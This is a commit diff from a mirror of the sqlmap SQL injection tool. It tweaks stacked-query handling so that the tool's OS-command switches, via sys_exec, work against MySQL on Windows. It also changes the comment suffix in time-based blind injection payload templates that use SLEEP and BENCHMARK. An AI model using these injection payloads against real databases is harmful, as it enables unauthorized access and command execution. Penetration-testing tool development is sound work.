mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
Minor fixes to make --os-* switch work again against MySQL/Windows/ASP.NET (where stacked queries are supported)
This commit is contained in:
parent
8cf5d260fd
commit
890bf708bc
|
@ -959,7 +959,7 @@ def cleanQuery(query):
|
|||
sqlStatementEsc = sqlStatement.replace("(", "\\(")
|
||||
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
|
||||
|
||||
if queryMatch:
|
||||
if queryMatch and "sys_exec" not in query:
|
||||
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
|
||||
|
||||
return upperQuery
|
||||
|
|
|
@ -1834,7 +1834,7 @@ Formats:
|
|||
<vector>; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]);</vector>
|
||||
<request>
|
||||
<payload>; SELECT SLEEP([SLEEPTIME]);</payload>
|
||||
<comment>#</comment>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
|
@ -1855,7 +1855,7 @@ Formats:
|
|||
<vector>; IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]);</vector>
|
||||
<request>
|
||||
<payload>; SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'));</payload>
|
||||
<comment>#</comment>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
|
|
Loading…
Reference in New Issue
Block a user